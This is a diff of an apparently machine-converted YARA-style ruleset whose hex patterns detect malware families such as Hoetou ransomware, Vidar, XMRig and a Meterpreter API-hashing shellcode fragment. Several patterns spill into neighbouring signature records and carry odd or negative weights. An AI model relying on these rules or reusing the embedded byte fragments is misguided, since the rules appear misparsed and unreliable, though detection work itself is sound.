"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -66695,7 +70119,7 @@ rule _InfrastructureShared_6403{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*12593) >=1 } -rule _InfrastructureShared_6404{ +rule _InfrastructureShared_6733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -66706,7 +70130,7 @@ rule _InfrastructureShared_6404{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*-11529) >=1 } -rule _InfrastructureShared_6405{ +rule _InfrastructureShared_6734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -66717,7 +70141,7 @@ rule _InfrastructureShared_6405{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*5122) >=1 } -rule _InfrastructureShared_6406{ +rule _InfrastructureShared_6735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -66728,7 +70152,7 @@ rule _InfrastructureShared_6406{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*21503) >=1 } -rule _InfrastructureShared_6407{ +rule _InfrastructureShared_6736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -66739,7 +70163,7 @@ rule _InfrastructureShared_6407{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-2272) >=1 } -rule _InfrastructureShared_6408{ +rule _InfrastructureShared_6737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -66750,7 +70174,7 @@ rule _InfrastructureShared_6408{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*25975) >=1 } -rule _InfrastructureShared_6409{ +rule _InfrastructureShared_6738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -66761,7 +70185,17 @@ rule _InfrastructureShared_6409{ ((#a_4c_0 & 1)*21539+(#a_17_1 & 1)*-9886) >=1 } -rule _InfrastructureShared_6410{ +rule _InfrastructureShared_6739{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 53 4c 54 50 21 4d 54 42 00 02 00 3e 01 73 35 00 00 06 25 28 0b 00 00 0a 6f 36 00 00 06 0a 12 00 28 0c 00 00 0a 17 33 05 28 65 00 00 06 28 6a 00 00 06 28 40 00 00 06 73 88 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_6740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -66771,7 +70205,7 @@ rule _InfrastructureShared_6410{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6411{ +rule _InfrastructureShared_6741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -66781,7 +70215,7 @@ rule _InfrastructureShared_6411{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6412{ +rule _InfrastructureShared_6742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -66791,7 +70225,17 @@ rule _InfrastructureShared_6412{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6413{ +rule _InfrastructureShared_6743{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 65 6e 4b 72 79 70 74 69 6b 2e 45 5a 4c 4f 21 4d 54 42 00 02 00 38 03 8b 10 83 c0 90 01 01 89 44 24 90 01 01 33 c0 85 d2 76 90 01 01 8b 4c 24 90 01 01 8b 7c 24 90 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_6744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66802,7 +70246,7 @@ rule _InfrastructureShared_6413{ ((#a_46_0 & 1)*16675+(#a_05_1 & 1)*-28672) >=2 } -rule _InfrastructureShared_6414{ +rule _InfrastructureShared_6745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66813,7 +70257,7 @@ rule _InfrastructureShared_6414{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*26988) >=2 } -rule _InfrastructureShared_6415{ +rule _InfrastructureShared_6746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66824,7 +70268,7 @@ rule _InfrastructureShared_6415{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28651) >=2 } -rule _InfrastructureShared_6416{ +rule _InfrastructureShared_6747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66835,7 +70279,7 @@ rule _InfrastructureShared_6416{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*-256) >=2 } -rule _InfrastructureShared_6417{ +rule _InfrastructureShared_6748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66846,7 +70290,7 @@ rule _InfrastructureShared_6417{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3328) >=2 } -rule _InfrastructureShared_6418{ +rule _InfrastructureShared_6749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66857,7 +70301,7 @@ rule _InfrastructureShared_6418{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3328) >=2 } -rule _InfrastructureShared_6419{ +rule _InfrastructureShared_6750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66868,7 +70312,7 @@ rule _InfrastructureShared_6419{ ((#a_46_0 & 1)*16675+(#a_0d_1 & 1)*8769) >=2 } -rule _InfrastructureShared_6420{ +rule _InfrastructureShared_6751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66879,7 +70323,7 @@ rule _InfrastructureShared_6420{ ((#a_46_0 & 1)*16675+(#a_0a_1 & 1)*-28539) >=2 } -rule _InfrastructureShared_6421{ +rule _InfrastructureShared_6752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66890,7 +70334,7 @@ rule _InfrastructureShared_6421{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*0) >=2 } -rule _InfrastructureShared_6422{ +rule _InfrastructureShared_6753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66901,7 +70345,7 @@ rule _InfrastructureShared_6422{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29549) >=2 } -rule _InfrastructureShared_6423{ +rule _InfrastructureShared_6754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66912,7 +70356,7 @@ rule _InfrastructureShared_6423{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*20338) >=2 } -rule _InfrastructureShared_6424{ +rule _InfrastructureShared_6755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66923,7 +70367,7 @@ rule _InfrastructureShared_6424{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28483) >=2 } -rule _InfrastructureShared_6425{ +rule _InfrastructureShared_6756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66934,7 +70378,7 @@ rule _InfrastructureShared_6425{ ((#a_54_0 & 1)*18467+(#a_e0_1 & 1)*1642) >=2 } -rule _InfrastructureShared_6426{ +rule _InfrastructureShared_6757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66945,7 +70389,7 @@ rule _InfrastructureShared_6426{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29230) >=2 } -rule _InfrastructureShared_6427{ +rule _InfrastructureShared_6758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66956,7 +70400,7 @@ rule _InfrastructureShared_6427{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*20764) >=2 } -rule _InfrastructureShared_6428{ +rule _InfrastructureShared_6759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66967,7 +70411,7 @@ rule _InfrastructureShared_6428{ ((#a_77_0 & 1)*19491+(#a_72_1 & 1)*29535) >=2 } -rule _InfrastructureShared_6429{ +rule _InfrastructureShared_6760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -66978,89 +70422,80 @@ rule _InfrastructureShared_6429{ ((#a_65_0 & 1)*22307+(#a_23_1 & 1)*3) >=2 } -rule _InfrastructureShared_6430{ +rule _InfrastructureShared_6761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {48 53 54 52 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 48 6f 65 74 6f 75 2e 41 00 01 00 0e 01 53 65 6e 64 43 61 72 64 49 6e 66 6f 73 00 01 00 0b 01 4f 70 65 6e 56 42 56 66 72 6d 00 01 00 1e 01 52 54 45 6d 61 67 69 63 43 5f 70 61 79 } //16675 - $a_74_1 = {77 61 72 6e 69 6e 67 5f 70 6e 67 00 00 00 78 6b 00 00 02 00 02 00 03 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 47 6f 72 69 6c 6c 61 50 72 69 63 65 43 00 02 00 2a 01 c6 85 a6 fd ff ff 78 c6 85 9c fd ff ff 65 c6 85 a5 fd ff ff 65 c6 85 a7 fd ff ff 65 c6 85 a4 fd ff ff 2e c6 85 9f fd ff ff 6c 01 00 07 01 57 61 74 47 6f 72 70 01 00 } //25965 - $a_73_2 = {2d 73 65 72 76 69 63 65 00 00 78 6b 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 4d 65 74 65 72 70 } //267 + $a_74_1 = {77 61 72 6e 69 6e 67 5f 70 6e 67 00 00 00 78 6b 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 72 65 65 6e 53 6e 61 69 6c 2e 42 21 64 68 61 00 01 00 12 01 72 65 61 64 69 6e 67 20 6d 65 74 68 6f 64 73 20 3a 20 01 00 11 01 65 72 72 20 69 6e 20 77 73 20 64 69 61 6c 20 3a 20 01 00 10 01 72 65 73 } //25965 + $a_65_2 = {76 20 65 72 72 20 3a 20 00 00 78 6b 00 00 02 00 02 00 03 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 47 6f 72 69 6c 6c 61 50 72 69 63 65 43 00 02 00 2a 01 c6 85 a6 fd ff ff 78 c6 85 9c fd ff ff 65 c6 85 a5 fd ff ff 65 c6 85 a7 fd ff ff 65 c6 85 a4 fd ff ff 2e c6 85 9f fd ff ff 6c 01 00 07 01 57 61 74 47 6f 72 70 01 00 0b 01 25 73 20 2d 73 65 } //8304 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25965+(#a_73_2 & 1)*267) >=2 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25965+(#a_65_2 & 1)*8304) >=2 } -rule _InfrastructureShared_6431{ +rule _InfrastructureShared_6762{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 72 65 65 6e 53 6e 61 69 6c 2e 42 21 64 68 61 00 01 00 12 01 72 65 61 64 69 6e 67 20 6d 65 74 68 6f 64 73 20 3a 20 01 00 11 01 65 72 72 20 69 6e 20 77 73 20 64 69 61 6c 20 3a 20 01 00 10 } //16675 + $a_73_1 = {20 72 65 63 76 20 65 72 72 20 3a 20 00 00 78 6b 00 00 02 00 02 00 03 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 47 6f 72 69 6c 6c 61 50 72 69 63 65 43 00 02 00 2a 01 c6 85 a6 fd ff ff 78 c6 85 9c fd ff ff 65 c6 85 a5 fd ff ff 65 c6 85 a7 fd ff ff 65 c6 85 a4 fd ff ff 2e c6 85 9f fd ff ff 6c 01 00 07 01 } //29185 + $a_47_2 = {72 70 01 00 0b 01 25 73 20 2d 73 65 72 76 69 63 65 00 00 78 6b 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 4d 65 74 65 72 70 72 65 74 65 72 41 50 49 48 61 73 68 69 6e 67 00 01 00 0e 01 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 01 00 0a 01 ac c1 cf 0d 01 c7 38 e0 75 f6 01 00 0d 01 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 01 00 0d 01 68 } //24919 + condition: + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29185+(#a_47_2 & 1)*24919) >=2 + +} +rule _InfrastructureShared_6763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_77_0 = {69 3a 48 53 54 52 3a 47 6f 72 69 6c 6c 61 50 72 69 63 65 43 00 02 00 2a 01 c6 85 a6 fd ff ff 78 c6 85 9c fd ff ff 65 c6 85 a5 fd ff ff 65 c6 85 a7 fd ff ff 65 c6 85 a4 fd ff ff 2e c6 85 9f fd ff ff 6c 01 00 07 01 57 61 74 47 6f 72 70 01 00 0b 01 25 73 20 2d 73 65 72 76 69 63 65 00 00 78 6b 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a } //19491 $a_52_1 = {4d 65 74 65 72 70 72 65 74 65 72 41 50 49 48 61 73 68 69 6e 67 00 01 00 0e 01 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 01 00 0a 01 ac c1 cf 0d 01 c7 38 e0 75 f6 01 00 0d 01 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 01 00 0d 01 68 77 73 32 5f 54 68 4c 77 } //21320 - $a_d5_2 = {00 78 6b 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4d 69 64 69 61 21 62 69 74 00 01 00 0d 01 67 6f 6f 2e 67 6c 2f 79 48 42 52 36 54 01 00 0d 01 67 6f 6f 2e 67 6c 2f 32 48 6c 74 74 72 01 00 0d 01 67 6f 6f 2e 67 6c 2f 6c 36 46 43 65 61 01 00 0d 01 67 6f 6f 2e 67 6c 2f 55 61 36 73 7a 36 00 00 78 6b 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 4d 52 69 67 2e 49 4a 21 4d 54 42 00 03 00 40 01 6f 0e 00 00 0a 0b 06 6f 13 00 00 0a 07 28 14 00 00 0a 0c 08 6f 15 00 00 0a 7e 02 00 00 04 25 3a 17 00 00 00 26 7e 01 00 00 04 fe 06 06 00 00 06 73 16 00 00 0a 25 80 02 00 00 04 28 01 00 00 2b 00 00 78 6b 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 63 } //1830 + $a_d5_2 = {00 78 6b 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4d 69 64 69 61 21 62 69 74 00 01 00 0d 01 67 6f 6f 2e 67 6c 2f 79 48 42 52 36 54 01 00 0d 01 67 6f 6f 2e 67 6c 2f 32 48 6c 74 74 72 01 00 0d 01 67 6f 6f 2e 67 6c 2f 6c 36 46 43 65 61 01 00 0d 01 67 6f 6f 2e 67 6c 2f 55 61 36 73 7a 36 00 00 78 6b 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 69 64 61 72 2e 45 4d 41 51 21 4d 54 42 00 02 00 1c 02 89 c8 f7 e6 c1 ea 04 6b c2 e3 8a 04 07 32 85 90 01 04 88 85 90 01 04 41 45 47 90 00 01 00 1d 02 8d 04 92 f7 d8 8a 04 07 32 86 90 01 04 88 86 90 01 04 41 46 47 81 fe a8 1d 00 00 90 00 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 54 } //1830 condition: ((#a_77_0 & 1)*19491+(#a_52_1 & 1)*21320+(#a_d5_2 & 1)*1830) >=2 } -rule _InfrastructureShared_6432{ +rule _InfrastructureShared_6764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_46_0 = {48 53 54 52 3a 4d 65 74 65 72 70 72 65 74 65 72 41 50 49 48 61 73 68 69 6e 67 00 01 00 0e 01 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 01 00 0a 01 ac c1 cf 0d 01 c7 38 e0 75 f6 01 00 0d 01 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 } //16675 $a_01_1 = {68 77 73 32 5f 54 68 4c 77 26 07 ff d5 } //1 - $a_6b_2 = {00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4d 69 64 69 61 21 62 69 74 00 01 00 0d 01 67 6f 6f 2e 67 6c 2f 79 48 42 52 36 54 01 00 0d 01 67 6f 6f 2e 67 6c 2f 32 48 6c 74 74 72 01 00 0d 01 67 6f 6f 2e 67 6c 2f 6c 36 46 43 65 61 01 00 0d 01 67 6f 6f 2e 67 6c 2f 55 61 36 73 7a 36 00 00 78 6b 00 00 03 00 03 00 01 00 21 23 } //0 - $a_3a_3 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 4d 52 69 67 2e 49 4a 21 4d 54 42 00 03 00 40 01 6f 0e 00 00 0a 0b 06 6f 13 00 00 0a 07 28 14 00 00 0a 0c 08 6f 15 00 00 0a 7e 02 00 00 04 25 3a 17 00 00 00 26 7e 01 00 00 04 } //19521 + $a_6b_2 = {00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4d 69 64 69 61 21 62 69 74 00 01 00 0d 01 67 6f 6f 2e 67 6c 2f 79 48 42 52 36 54 01 00 0d 01 67 6f 6f 2e 67 6c 2f 32 48 6c 74 74 72 01 00 0d 01 67 6f 6f 2e 67 6c 2f 6c 36 46 43 65 61 01 00 0d 01 67 6f 6f 2e 67 6c 2f 55 61 36 73 7a 36 00 00 78 6b 00 00 03 00 03 00 02 00 21 23 } //0 + $a_3a_3 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 69 64 61 72 2e 45 4d 41 51 21 4d 54 42 00 02 00 1c 02 89 c8 f7 e6 c1 ea 04 6b c2 e3 8a 04 07 32 85 90 01 04 88 85 90 01 04 41 45 47 90 00 01 00 1d 02 8d 04 92 f7 d8 8a 04 } //19521 condition: ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_6b_2 & 1)*0+(#a_3a_3 & 1)*19521) >=2 } -rule _InfrastructureShared_6433{ +rule _InfrastructureShared_6765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_46_0 = {48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4d 69 64 69 61 21 62 69 74 00 01 00 0d 01 67 6f 6f 2e 67 6c 2f 79 48 42 52 36 54 01 00 0d 01 67 6f 6f 2e 67 6c 2f 32 48 6c 74 74 72 01 00 0d 01 67 6f 6f 2e 67 6c 2f 6c 36 46 43 65 61 } //16675 $a_01_1 = {67 6f 6f 2e 67 6c 2f 55 61 36 73 7a 36 } //1 goo.gl/Ua6sz6 - $a_6b_2 = {00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 4d 52 69 67 2e 49 4a 21 4d 54 42 00 03 00 40 01 6f 0e 00 00 0a 0b 06 6f 13 00 00 0a 07 28 14 00 00 0a 0c 08 6f 15 00 00 0a 7e 02 00 00 04 25 3a 17 00 00 00 26 7e 01 00 00 04 fe 06 06 00 00 06 73 16 00 00 0a 25 80 02 00 00 04 28 01 00 00 2b 00 00 78 6b 00 00 03 00 03 00 02 00 21 23 } //0 - $a_3a_3 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 63 61 70 2e 4e 52 21 4d 54 42 00 02 00 20 03 8d 09 00 00 01 0a 06 20 00 00 00 00 fe 09 00 00 a2 06 28 90 01 01 07 00 06 74 10 00 00 01 90 00 01 00 1b 01 48 6f 66 66 43 } //19521 + $a_6b_2 = {00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 69 64 61 72 2e 45 4d 41 51 21 4d 54 42 00 02 00 1c 02 89 c8 f7 e6 c1 ea 04 6b c2 e3 8a 04 07 32 85 90 01 04 88 85 90 01 04 41 45 47 90 00 01 00 1d 02 8d 04 92 f7 d8 8a 04 07 32 86 90 01 04 88 86 90 01 04 41 46 47 81 fe a8 1d 00 00 90 00 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 } //0 + $a_3a_3 = {61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 54 69 6d 65 56 61 75 6c 74 2e 41 21 64 68 61 00 01 00 0f 01 62 65 66 6f 72 65 5f 31 39 39 30 2e 74 78 74 01 00 10 01 6d 61 69 6e 2e 72 75 6e 54 65 72 6d 69 6e 61 6c 01 } //19521 condition: ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_6b_2 & 1)*0+(#a_3a_3 & 1)*19521) >=2 } -rule _InfrastructureShared_6434{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 4d 52 69 67 2e 49 4a 21 4d 54 42 00 03 00 40 01 6f 0e 00 00 0a 0b 06 6f 13 00 00 0a 07 28 14 00 00 0a 0c 08 6f 15 00 00 0a 7e 02 00 00 04 25 3a 17 00 00 00 26 7e 01 00 00 04 fe 06 06 00 00 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=3 - -} -rule _InfrastructureShared_6435{ +rule _InfrastructureShared_6766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 63 61 70 2e 4e 52 21 4d 54 42 00 02 00 20 03 8d 09 00 00 01 0a 06 20 00 00 00 00 fe 09 00 00 a2 06 28 90 01 01 07 00 06 74 10 00 00 01 90 00 01 00 1b 01 48 6f 66 66 43 6f 6e 2e 52 65 } //16675 - $a_72_1 = {65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 6b 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 4e 46 43 21 4d 54 42 00 02 00 26 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 90 01 06 0e 00 00 60 33 00 90 01 04 3a 46 0e 00 00 e8 0c 00 90 00 01 00 10 01 23 78 5d 23 b6 a5 f3 19 43 f3 } //28531 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 69 64 61 72 2e 45 4d 41 51 21 4d 54 42 00 02 00 1c 02 89 c8 f7 e6 c1 ea 04 6b c2 e3 8a 04 07 32 85 90 01 04 88 85 90 01 04 41 45 47 90 00 01 00 1d 02 8d 04 92 f7 d8 8a 04 07 32 86 90 01 } //16675 + $a_90_1 = {04 41 46 47 81 fe a8 1d 00 00 90 00 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 54 69 6d 65 56 61 75 6c 74 2e 41 21 64 68 61 00 01 00 0f 01 62 65 66 6f 72 65 5f 31 39 39 30 2e 74 78 74 01 00 10 01 6d 61 69 6e 2e 72 75 6e 54 65 72 6d 69 6e 61 6c 01 00 13 01 6d 61 69 6e 2e 67 65 74 43 6f 6d 6d 61 6e 64 48 74 74 70 00 00 78 6b 00 00 03 00 03 00 03 } //-30716 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28531) >=3 + ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-30716) >=3 } -rule _InfrastructureShared_6436{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 4e 46 43 21 4d 54 42 00 02 00 26 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 90 01 06 0e 00 00 60 33 00 90 01 04 3a 46 0e 00 00 e8 0c 00 90 00 01 00 10 } //16675 - $a_5d_1 = {b6 a5 f3 19 43 f3 40 02 26 d1 11 c7 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 54 69 6d 65 56 61 75 6c 74 2e 41 21 64 68 61 00 01 00 0f 01 62 65 66 6f 72 65 5f 31 39 39 30 2e 74 78 74 01 00 10 01 6d 61 69 6e 2e 72 75 6e 54 65 72 6d 69 6e 61 6c 01 00 13 01 6d 61 69 6e 2e 67 65 74 43 6f 6d 6d 61 6e 64 48 } //8961 - condition: - ((#a_46_0 & 1)*16675+(#a_5d_1 & 1)*8961) >=3 - -} -rule _InfrastructureShared_6437{ +rule _InfrastructureShared_6767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -67072,7 +70507,7 @@ rule _InfrastructureShared_6437{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*28265+(#a_57_2 & 1)*26996) >=3 } -rule _InfrastructureShared_6438{ +rule _InfrastructureShared_6768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -67084,7 +70519,7 @@ rule _InfrastructureShared_6438{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*3584+(#a_75_2 & 1)*28493) >=3 } -rule _InfrastructureShared_6439{ +rule _InfrastructureShared_6769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -67096,7 +70531,7 @@ rule _InfrastructureShared_6439{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1+(#a_6b_2 & 1)*0) >=3 } -rule _InfrastructureShared_6440{ +rule _InfrastructureShared_6770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -67107,7 +70542,7 @@ rule _InfrastructureShared_6440{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*271) >=3 } -rule _InfrastructureShared_6441{ +rule _InfrastructureShared_6771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -67118,31 +70553,43 @@ rule _InfrastructureShared_6441{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25939) >=3 } -rule _InfrastructureShared_6442{ +rule _InfrastructureShared_6772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 49 6e 74 65 6e 74 54 6f 49 6e 6a 65 63 74 57 72 69 74 65 50 72 6f 63 65 73 73 00 01 00 0e 80 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 01 00 12 80 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 01 00 12 80 01 43 72 65 61 74 65 52 65 } //18467 $a_65_1 = {68 72 65 61 64 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 47 34 32 21 4d 54 42 00 01 00 18 03 09 11 04 08 11 04 08 8e 69 5d 91 06 11 04 91 61 d2 6f 90 02 0f 58 90 00 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 08 81 01 47 65 74 42 79 74 65 73 } //28525 - $a_6b_2 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 55 70 61 74 